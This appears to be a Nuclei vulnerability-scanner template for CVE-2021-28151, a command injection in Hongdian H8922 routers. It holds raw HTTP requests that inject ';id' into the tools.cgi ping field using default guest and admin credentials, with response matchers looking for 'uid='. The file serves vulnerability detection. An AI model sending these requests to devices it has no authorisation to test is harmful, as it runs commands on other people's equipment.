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id : CVE-2021-28151
info :
name : Hongdian Command Injection
author : gy741
severity : high
description : |
Hongdian H8922 3.0.5 devices allow OS command injection via shell metacharacters into the ip-address (aka Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest.
reference : |
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- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-28151
tags : cve,cve2021,hongdian,rce
requests :
- raw :
- |
POST /tools.cgi HTTP/1.1
Host : {{Hostname}}
Content-Length : 85
Cache-Control : max-age=0
Authorization : Basic Z3Vlc3Q6Z3Vlc3Q=
Upgrade-Insecure-Requests : 1
Origin : {{BaseURL}}
Content-Type : application/x-www-form-urlencoded
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer : http://{{Hostname}}/tools.cgi
Accept-Encoding : gzip, deflate
Accept-Language : ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection : close
op_type=ping&destination=%3Bid
- |
POST /tools.cgi HTTP/1.1
Host : {{Hostname}}
Content-Length : 85
Cache-Control : max-age=0
Authorization : Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests : 1
Origin : {{BaseURL}}
Content-Type : application/x-www-form-urlencoded
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer : http://{{Hostname}}/tools.cgi
Accept-Encoding : gzip, deflate
Accept-Language : ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection : close
op_type=ping&destination=%3Bid
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "text/html"
part : header
- type : word
words :
- "uid="
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- "gid="
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part : body
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condition : and